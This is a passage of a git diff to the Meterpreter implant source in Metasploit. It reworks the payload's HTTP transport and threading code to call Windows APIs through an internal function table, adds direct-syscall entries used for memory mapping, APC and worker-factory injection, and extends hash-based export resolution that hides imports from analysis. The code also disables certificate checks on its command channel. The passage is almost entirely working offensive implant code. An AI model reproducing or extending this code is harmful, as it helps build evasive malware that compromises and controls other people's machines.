SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) + if (!met_api->win_api.winhttp.WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags))) { dprintf("[%s] failed to set the security flags on the request", direction); } @@ -179,7 +179,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons */ static BOOL close_request_winhttp(HANDLE hReq) { - return WinHttpCloseHandle(hReq); + return met_api->win_api.winhttp.WinHttpCloseHandle(hReq); } /*! @@ -192,7 +192,7 @@ static BOOL close_request_winhttp(HANDLE hReq) */ static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) { - return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); + return met_api->win_api.winhttp.WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); } /* @@ -213,7 +213,7 @@ static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) LPBYTE data = (LPBYTE)buffer; DWORD written = 0; dprintf("[WINHTTP] writing data to request. %u (0x%x) from %p", size, size, data + written); - if (!WinHttpWriteData(hReq, data + written, size, &written)) + if (!met_api->win_api.winhttp.WinHttpWriteData(hReq, data + written, size, &written)) { return FALSE; } @@ -241,7 +241,7 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, HttpCon DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; // Start a request without including any data - if (WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) + if (met_api->win_api.winhttp.WinHttpSendRequest(hReq, headers, headerLength, NULL, 0, totalSize, 0)) { dprintf("[WINHTTP] Sending prefix"); // Then write the prefix first @@ -274,7 +274,7 @@ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, HttpCon */ static BOOL receive_response_winhttp(HANDLE hReq) { - return WinHttpReceiveResponse(hReq, NULL); + return met_api->win_api.winhttp.WinHttpReceiveResponse(hReq, NULL); } /*! @@ -289,7 +289,7 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, L DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); vdprintf("[PACKET RECEIVE WINHTTP] Getting the result code..."); - if (WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) + if (met_api->win_api.winhttp.WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &statusCode, &statusCodeSize, WINHTTP_NO_HEADER_INDEX)) { vdprintf("[PACKET RECEIVE WINHTTP] Returned status code is %d", statusCode); @@ -325,7 +325,7 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, L PCERT_CONTEXT pCertContext = NULL; DWORD dwCertContextSize = sizeof(pCertContext); - if (!WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) + if (!met_api->win_api.winhttp.WinHttpQueryOption(hReq, WINHTTP_OPTION_SERVER_CERT_CONTEXT, &pCertContext, &dwCertContextSize)) { dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate context: %u", GetLastError()); return ERROR_WINHTTP_SECURE_INVALID_CERT; @@ -333,7 +333,7 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, L DWORD dwHashSize = 20; BYTE hash[20]; - if (!CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) + if (!met_api->win_api.crypt32.CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, hash, &dwHashSize)) { dprintf("[PACKET RECEIVE WINHTTP] Failed to get the certificate hash: %u", GetLastError()); return ERROR_WINHTTP_SECURE_INVALID_CERT; @@ -353,7 +353,7 @@ static DWORD validate_response_winhttp(HANDLE hReq, HttpTransportContext* ctx, L // if we get here, then we should be good to look at the content length DWORD size = sizeof(DWORD); - if (!WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + if (!met_api->win_api.winhttp.WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, contentLength, &size, WINHTTP_NO_HEADER_INDEX)) { return GetLastError(); @@ -448,7 +448,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) if (!ctx->send_req(ctx, hReq, &ctx->get_connection, NULL, 0)) { - dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), WSAGetLastError()); + dprintf("[PACKET RECEIVE HTTP] Failed send_req: %d %d", GetLastError(), met_api->win_api.ws2_32.WSAGetLastError()); result = ERROR_NOT_FOUND; goto out; } @@ -642,11 +642,11 @@ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* c if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = met_api->win_api.winhttp.WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { - conn->internet = WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = met_api->win_api.winhttp.WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } if (!conn->internet) @@ -659,7 +659,7 @@ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* c // Allocate the connection handle - conn->connection = WinHttpConnect(conn->internet, host, port, 0); + conn->connection = met_api->win_api.winhttp.WinHttpConnect(conn->internet, host, port, 0); if (!conn->connection) { dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); @@ -699,7 +699,7 @@ static DWORD server_init_winhttp(Transport* transport) bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); - WinHttpCrackUrl(transport->url, 0, 0, &bits); + met_api->win_api.winhttp.WinHttpCrackUrl(transport->url, 0, 0, &bits); http_options_set_single_uri(&ctx->default_options, tmpUrlPath); @@ -852,7 +852,7 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) ecount++; dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay)); - Sleep(min(10000, delay)); + met_api->win_api.kernel32.Sleep(min(10000, delay)); } else { diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 63b73e7ed..20bae613d 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -38,7 +38,7 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons do { vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); - hReq = HttpOpenRequestW(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags, 0); + hReq = met_api->win_api.wininet.HttpOpenRequestW(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags, 0); free(uri); @@ -58,7 +58,7 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons | SECURITY_FLAG_IGNORE_REVOCATION; dprintf("[%s] Setting secure option flags", direction); - if (!InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) + if (!met_api->win_api.wininet.InternetSetOptionW(hReq, INTERNET_OPTION_SECURITY_FLAGS, &secureFlags, sizeof(secureFlags))) { dprintf("[%s] Failed InternetSetOptionW: %d", direction, GetLastError()); SetLastError(ERROR_NOT_FOUND); @@ -71,7 +71,7 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons if (hReq != NULL) { - InternetCloseHandle(hReq); + met_api->win_api.wininet.InternetCloseHandle(hReq); } return NULL; @@ -84,7 +84,7 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons */ static BOOL close_request_wininet(HANDLE hReq) { - return InternetCloseHandle(hReq); + return met_api->win_api.wininet.InternetCloseHandle(hReq); } /*! @@ -97,7 +97,7 @@ static BOOL close_request_wininet(HANDLE hReq) */ static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead) { - return InternetReadFile(hReq, buffer, bytesToRead, bytesRead); + return met_api->win_api.wininet.InternetReadFile(hReq, buffer, bytesToRead, bytesRead); } /*! @@ -146,7 +146,7 @@ static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, HttpCon } dprintf("[WININET] Sending payload"); - BOOL result = HttpSendRequestW(hReq, headers, headerLength, optionalData, totalSize); + BOOL result = met_api->win_api.wininet.HttpSendRequestW(hReq, headers, headerLength, optionalData, totalSize); SAFE_FREE(optionalData); SAFE_FREE(headers); @@ -165,7 +165,7 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx, L DWORD statusCode; DWORD statusCodeSize = sizeof(statusCode); vdprintf("[PACKET RECEIVE WININET] Getting the result code..."); - if (HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) + if (met_api->win_api.wininet.HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &statusCodeSize, 0)) { vdprintf("[PACKET RECEIVE WININET] Returned status code is %d", statusCode); @@ -178,7 +178,7 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx, L } DWORD size = sizeof(DWORD); - if (!HttpQueryInfoA(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, contentLength, &size, NULL)) + if (!met_api->win_api.wininet.HttpQueryInfoA(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, contentLength, &size, NULL)) { return GetLastError(); } @@ -193,11 +193,11 @@ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* c if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + conn->internet = met_api->win_api.wininet.InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); } else { - conn->internet = InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + conn->internet = met_api->win_api.wininet.InternetOpenW(userAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } if (!conn->internet) @@ -210,7 +210,7 @@ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* c // Allocate the connection handle - conn->connection = InternetConnectW(conn->internet, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + conn->connection = met_api->win_api.wininet.InternetConnectW(conn->internet, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (!conn->connection) { dprintf("[DISPATCH] Failed InternetConnectW: %d", GetLastError()); @@ -221,11 +221,11 @@ static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* c { if (ctx->proxy_user) { - InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); + met_api->win_api.wininet.InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); } if (ctx->proxy_pass) { - InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); + met_api->win_api.wininet.InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); } } @@ -262,7 +262,7 @@ static DWORD server_init_wininet(Transport* transport) bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); - InternetCrackUrl(transport->url, 0, 0, &bits); + met_api->win_api.wininet.InternetCrackUrlW(transport->url, 0, 0, &bits); http_options_set_single_uri(&ctx->default_options, tmpUrlPath); diff --git a/c/meterpreter/source/metsrv/thread.c b/c/meterpreter/source/metsrv/thread.c index 58e78fcb5..0ded3b0a9 100644 --- a/c/meterpreter/source/metsrv/thread.c +++ b/c/meterpreter/source/metsrv/thread.c @@ -19,7 +19,7 @@ LOCK * lock_create( VOID ) { memset( lock, 0, sizeof( LOCK ) ); - lock->handle = CreateMutex( NULL, FALSE, NULL ); + lock->handle = met_api->win_api.kernel32.CreateMutexA( NULL, FALSE, NULL ); } return lock; } @@ -45,7 +45,7 @@ VOID lock_destroy( LOCK * lock ) VOID lock_acquire( LOCK * lock ) { if( lock != NULL ) { - WaitForSingleObject( lock->handle, INFINITE ); + met_api->win_api.kernel32.WaitForSingleObject( lock->handle, INFINITE ); } } @@ -55,7 +55,7 @@ VOID lock_acquire( LOCK * lock ) VOID lock_release( LOCK * lock ) { if( lock != NULL ) { - ReleaseMutex( lock->handle ); + met_api->win_api.kernel32.ReleaseMutex( lock->handle ); } } @@ -74,7 +74,7 @@ EVENT * event_create( VOID ) memset( event, 0, sizeof( EVENT ) ); - event->handle = CreateEvent( NULL, FALSE, FALSE, NULL ); + event->handle = met_api->win_api.kernel32.CreateEventA( NULL, FALSE, FALSE, NULL ); if( event->handle == NULL ) { free( event ); @@ -108,7 +108,7 @@ BOOL event_signal( EVENT * event ) return FALSE; dprintf( "Signalling 0x%x", event->handle ); - if( SetEvent( event->handle ) == 0 ) { + if( met_api->win_api.kernel32.SetEvent( event->handle ) == 0 ) { dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() ); return FALSE; } @@ -125,7 +125,7 @@ BOOL event_poll( EVENT * event, DWORD timeout ) if( event == NULL ) return FALSE; - if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) + if( met_api->win_api.kernel32.WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 ) return TRUE; return FALSE; @@ -146,7 +146,7 @@ THREAD* thread_open(VOID) { memset(thread, 0, sizeof(THREAD)); - thread->id = GetCurrentThreadId(); + thread->id = met_api->win_api.kernel32.GetCurrentThreadId(); thread->sigterm = event_create(); // Windows specific process of opening a handle to the current thread which @@ -160,7 +160,7 @@ THREAD* thread_open(VOID) OBJECT_ATTRIBUTES oa = { 0 }; CLIENT_ID cid = { 0 }; cid.UniqueThread = (PVOID)(DWORD_PTR)thread->id; - met_api->win_api.ntdll.NtOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); + met_api->win_api.ntdll.ZwOpenThread(&thread->handle, THREAD_TERMINATE | THREAD_SUSPEND_RESUME, &oa, &cid); } } @@ -268,7 +268,7 @@ BOOL thread_kill(THREAD* thread) return FALSE; } - if (TerminateThread(thread->handle, -1) == 0) + if (met_api->win_api.kernel32.TerminateThread(thread->handle, -1) == 0) { return FALSE; } @@ -286,7 +286,7 @@ BOOL thread_join(THREAD* thread) return FALSE; } - if (WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) + if (met_api->win_api.kernel32.WaitForSingleObject(thread->handle, INFINITE) == WAIT_OBJECT_0) { return TRUE; } diff --git a/c/meterpreter/source/metsrv/unicode.c b/c/meterpreter/source/metsrv/unicode.c index 4bdc6796c..d1d1fb20f 100644 --- a/c/meterpreter/source/metsrv/unicode.c +++ b/c/meterpreter/source/metsrv/unicode.c @@ -4,6 +4,7 @@ */ #include "common.h" +#include "metapi.h" wchar_t *utf8_to_wchar(const char *in) { @@ -14,7 +15,7 @@ wchar_t *utf8_to_wchar(const char *in) return NULL; } - len = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, in, -1, NULL, 0); + len = met_api->win_api.kernel32.MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, in, -1, NULL, 0); if (len <= 0) { return NULL; } @@ -24,7 +25,7 @@ wchar_t *utf8_to_wchar(const char *in) return NULL; } - if (MultiByteToWideChar(CP_UTF8, 0, in, -1, out, len) == 0) { + if (met_api->win_api.kernel32.MultiByteToWideChar(CP_UTF8, 0, in, -1, out, len) == 0) { free(out); out = NULL; } @@ -41,7 +42,7 @@ char *wchar_to_utf8(const wchar_t *in) return NULL; } - len = WideCharToMultiByte(CP_UTF8, 0, in, -1, NULL, 0, NULL, NULL); + len = met_api->win_api.kernel32.WideCharToMultiByte(CP_UTF8, 0, in, -1, NULL, 0, NULL, NULL); if (len <= 0) { return NULL; } @@ -51,7 +52,7 @@ char *wchar_to_utf8(const wchar_t *in) return NULL; } - if (WideCharToMultiByte(CP_UTF8, 0, in, -1, out, len, NULL, FALSE) == 0) { + if (met_api->win_api.kernel32.WideCharToMultiByte(CP_UTF8, 0, in, -1, out, len, NULL, FALSE) == 0) { free(out); out = NULL; } diff --git a/c/meterpreter/source/metsrv/winapi.c b/c/meterpreter/source/metsrv/winapi.c index 942724f69..501db4295 100644 --- a/c/meterpreter/source/metsrv/winapi.c +++ b/c/meterpreter/source/metsrv/winapi.c @@ -29,110 +29,21 @@ enum NtDllSyscall { ZwReadVirtualMemory, ZwProtectVirtualMemory, ZwQueryVirtualMemory, - ZwFreeVirtualMemory + ZwFreeVirtualMemory, + ZwQueryInformationProcess, + ZwQueryObject, + ZwQueryInformationWorkerFactory, + ZwSetInformationWorkerFactory, + ZwSetIoCompletion, + ZwMapViewOfSection, + ZwCreateSection, + ZwOpenSection, + ZwOpenFile, + ZwQueryAttributesFile, + ZwClose, + ZwLockVirtualMemory }; -enum HashedFunctions { - H_ZwAllocateVirtualMemory = 0xD33D4AED, - H_ZwOpenProcess = 0xF0D09D60, - H_ZwWriteVirtualMemory = 0xC5D0A4C2, - H_ZwReadVirtualMemory = 0x3DEFA5C2, - H_ZwProtectVirtualMemory = 0xBC3F4D89, - H_ZwQueryVirtualMemory = 0x4FD39C92, - H_ZwFreeVirtualMemory = 0xDE63B5C3, - H_NtQueueApcThread = 0x52E9A746, - H_NtOpenThread = 0x59651E8C, - H_RtlGetVersion = 0xD0C1869C, - H_WriteProcessMemory = 0xD83D6AA1, - H_ReadProcessMemory = 0x579D1BE9, - H_OpenProcess = 0xEFE297C0, - H_VirtualAlloc = 0x91AFCA54, - H_VirtualAllocEx = 0x6E1A959C, - H_VirtualProtect = 0x7946C61B, - H_VirtualProtectEx = 0x53D98756, - H_VirtualQuery = 0xA3C8C8AA, - H_VirtualQueryEx = 0xF45A2B20, - H_VirtualFree = 0x30633AC, - H_VirtualFreeEx = 0xC3B4EB78, - H_CreateRemoteThread = 0x72BD9CDD, - H_CloseHandle = 0xFFD97FB, - H_DuplicateHandle = 0xBD566724, - H_CreateToolhelp32Snapshot = 0xE454DFED, - H_Thread32First = 0xB83BB6EA, - H_OpenThread = 0x58C91E6F, - H_SuspendThread = 0xE8C2CDC, - H_Thread32Next = 0x86FED608, - H_ResumeThread = 0x9E4A3F88, - H_FreeLibrary = 0x4DC9D5A0, - H_FlushInstructionCache = 0x53120980, - H_LocalFree = 0x5CBAEAF6, - H_CreateFileA = 0x7C0017A5, - H_WriteFile = 0xE80A791F, - H_LoadLibraryA = 0xEC0E4E8E, - H_WaitForMultipleObjects = 0x23EAD524, - H_SetHandleInformation = 0x7F9E1144, - H_GlobalFree = 0x7CB922F6, - H_CreateNamedPipeA = 0xB2D6846, - H_ConnectNamedPipe = 0xCB09C9F9, - H_GetOverlappedResult = 0xC087DCE8, - H_ReadFile = 0x10FA6516, - H_CreateThread = 0xCA2BD06B, - H_ResetEvent = 0x560B084F, - H_SetThreadErrorMode = 0x5922C47C, - H_OpenProcessToken = 0x591EA70F, - H_AdjustTokenPrivileges = 0x24488A0F, - H_ImpersonateLoggedOnUser = 0x6D821B37, - H_CryptDuplicateKey = 0x738BCBF6, - H_CryptSetKeyParam = 0x180E1DA8, - H_CryptDecrypt = 0x59202584, - H_CryptGenRandom = 0x4AABDD73, - H_CryptEncrypt = 0xD9242588, - H_CryptDestroyKey = 0x95E24580, - H_CryptReleaseContext = 0x5AE8E894, - H_CryptImportKey = 0xD864E84D, - H_OpenThreadToken = 0x8D91EA66, - H_AllocateAndInitializeSid = 0x5BDCE983, - H_SetEntriesInAclW = 0xB142E54, - H_InitializeAcl = 0xF8AF61AB, - H_InitializeSecurityDescriptor = 0x230EA37F, - H_SetSecurityDescriptorDacl = 0x534E5FC2, - H_SetSecurityDescriptorSacl = 0x714E5FC2, - H_LookupPrivilegeValueW = 0x97E8C2B8, - H_CryptDecodeObjectEx = 0x22BA7198, - H_CryptImportPublicKeyInfo = 0x35A052E0, - H_CertGetCertificateContextProperty = 0x481F9127, - H_GetUserObjectInformationA = 0x11EFCB2B, - H_GetThreadDesktop = 0x56641B89, - H_WSAStartup = 0x3BFCEDCB, - H_socket = 0x492F0B6E, - H_connect = 0x60AAF9EC, - H_accept = 0x498649E5, - H_setsockopt = 0xC055F2EC, - H_recv = 0xE71819B6, - H_WSADuplicateSocketA = 0x5DCA3BD3, - H_InternetOpenW = 0x57E8443F, - H_InternetConnectW = 0x1E4BE824, - H_HttpOpenRequestW = 0xF7DE76B5, - H_InternetSetOptionW = 0xF5EFA023, - H_HttpSendRequestW = 0x2DE6BEB3, - H_HttpQueryInfoW = 0xFB2F4610, - H_InternetReadFile = 0x5FE34B8B, - H_InternetCloseHandle = 0xFA9B69C7, - H_InternetCrackUrlW = 0xA5955290, - H_UuidCreate = 0xC439EDE7, - H_WinHttpOpen = 0xD1026DBE, - H_WinHttpConnect = 0x8AAE8F, - H_WinHttpOpenRequest = 0x8F34E1C1, - H_WinHttpGetIEProxyConfigForCurrentUser = 0xA206024C, - H_WinHttpGetProxyForUrl = 0x88DD3F88, - H_WinHttpSetOption = 0xD83C501E, - H_WinHttpSendRequest = 0x98348882, - H_WinHttpReceiveResponse = 0xDE22845E, - H_WinHttpQueryHeaders = 0x4F8B3B75, - H_WinHttpReadData = 0xB24F660F, - H_WinHttpQueryOption = 0xDB0FB31, - H_WinHttpCrackUrl = 0x73513B, -}; NtDllFunction lpFunctionsTobeLoaded[] = { {.lpFunctionName = NULL /* ZwAllocateVirtualMemory */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwAllocateVirtualMemory}, @@ -141,7 +52,19 @@ NtDllFunction lpFunctionsTobeLoaded[] = { {.lpFunctionName = NULL /* ZwReadVirtualMemory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwReadVirtualMemory}, {.lpFunctionName = NULL /* ZwProtectVirtualMemory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwProtectVirtualMemory}, {.lpFunctionName = NULL /* ZwQueryVirtualMemory */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwQueryVirtualMemory}, - {.lpFunctionName = NULL /* ZwFreeVirtualMemory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwFreeVirtualMemory},}; + {.lpFunctionName = NULL /* ZwFreeVirtualMemory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwFreeVirtualMemory}, + {.lpFunctionName = NULL /* ZwQueryInformationProcess */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwQueryInformationProcess}, + {.lpFunctionName = NULL /* ZwQueryObject */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwQueryObject}, + {.lpFunctionName = NULL /* ZwQueryInformationWorkerFactory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwQueryInformationWorkerFactory}, + {.lpFunctionName = NULL /* ZwSetInformationWorkerFactory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwSetInformationWorkerFactory}, + {.lpFunctionName = NULL /* ZwSetIoCompletion */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwSetIoCompletion}, + {.lpFunctionName = NULL /* ZwMapViewOfSection */, .dwNumberOfArgs = 10, .dwCryptedHash = H_ZwMapViewOfSection}, + {.lpFunctionName = NULL /* ZwCreateSection */, .dwNumberOfArgs = 7, .dwCryptedHash = H_ZwCreateSection}, + {.lpFunctionName = NULL /* ZwOpenSection */, .dwNumberOfArgs = 3, .dwCryptedHash = H_ZwOpenSection}, + {.lpFunctionName = NULL /* ZwOpenFile */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwOpenFile}, + {.lpFunctionName = NULL /* ZwQueryAttributesFile */, .dwNumberOfArgs = 2, .dwCryptedHash = H_ZwQueryAttributesFile}, + {.lpFunctionName = NULL /* ZwClose */, .dwNumberOfArgs = 1, .dwCryptedHash = H_ZwClose}, + {.lpFunctionName = NULL /* ZwLockVirtualMemory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwLockVirtualMemory},}; #define STATUS_SUCCESS 0 Syscall** lpWinApiSyscalls = NULL; @@ -259,7 +182,9 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) if (pDataDirectory->VirtualAddress == 0) return NULL; - pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); + DWORD dwExportDirRva = pDataDirectory->VirtualAddress; + DWORD dwExportDirSize = pDataDirectory->Size; + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + dwExportDirRva); // STEP 3: Get pointers to the three critical arrays within the EAT. // AddressOfFunctions: RVAs to the actual function code. @@ -288,6 +213,39 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) if (dwFunctionRva == 0) return NULL; + // Forwarder detection: if the RVA falls inside the export directory, + // the "address" is actually a forwarder string of the form + // "TargetDll.TargetFunction" (or ".#Ordinal"). We must resolve it in + // the target DLL rather than returning the string as a function. + if (dwFunctionRva >= dwExportDirRva && dwFunctionRva < (dwExportDirRva + dwExportDirSize)) + { + LPCSTR cpForwarder = (LPCSTR)(uiLibraryAddress + dwFunctionRva); + CHAR szDllName[64] = { 0 }; + DWORD dwDot = 0; + while (cpForwarder[dwDot] && cpForwarder[dwDot] != '.') dwDot++; + if (cpForwarder[dwDot] != '.' || dwDot == 0 || dwDot + 5 > sizeof(szDllName)) { + return NULL; + } + for (DWORD k = 0; k < dwDot; k++) szDllName[k] = cpForwarder[k]; + // Append ".dll" so LoadLibrary/GetModuleHandle find it. + szDllName[dwDot + 0] = '.'; + szDllName[dwDot + 1] = 'd'; + szDllName[dwDot + 2] = 'l'; + szDllName[dwDot + 3] = 'l'; + szDllName[dwDot + 4] = 0; + + HMODULE hFwdModule = GetModuleHandleA(szDllName); + if (hFwdModule == NULL) { + hFwdModule = LoadLibraryA(szDllName); + } + if (hFwdModule == NULL) { + return NULL; + } + // Resolve by re-hashing the target function name (everything after '.'). + DWORD dwFwdHash = _hash((char *)(cpForwarder + dwDot + 1)); + return GetProcAddressH(hFwdModule, dwFwdHash); + } + // Return the absolute address of the function. return (FARPROC)(uiLibraryAddress + dwFunctionRva); } @@ -372,20 +330,20 @@ NTSTATUS winapi_ntdll_ZwFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddre return SyscallStub(lpWinApiSyscalls[ZwFreeVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); } -NTSTATUS winapi_ntdll_NtQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) { - NTSTATUS (NTAPI *pNtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) = GetFunctionH(NTDLL_DLL, H_NtQueueApcThread); - dprintf("[WINAPI][winapi_ntdll_NtQueueApcThread] Calling NtQueueApcThread @ %p", pNtQueueApcThread); - if (pNtQueueApcThread) { - return pNtQueueApcThread(ThreadHandle, ApcRoutine, ApcContext, Argument1, Argument2); +NTSTATUS winapi_ntdll_ZwQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) { + NTSTATUS (NTAPI *pZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) = GetFunctionH(NTDLL_DLL, H_ZwQueueApcThread); + dprintf("[WINAPI][winapi_ntdll_ZwQueueApcThread] Calling ZwQueueApcThread @ %p", pZwQueueApcThread); + if (pZwQueueApcThread) { + return pZwQueueApcThread(ThreadHandle, ApcRoutine, ApcContext, Argument1, Argument2); } return 0xC0000001; // STATUS_UNSUCCESSFUL } -NTSTATUS winapi_ntdll_NtOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) { - NTSTATUS (NTAPI *pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) = 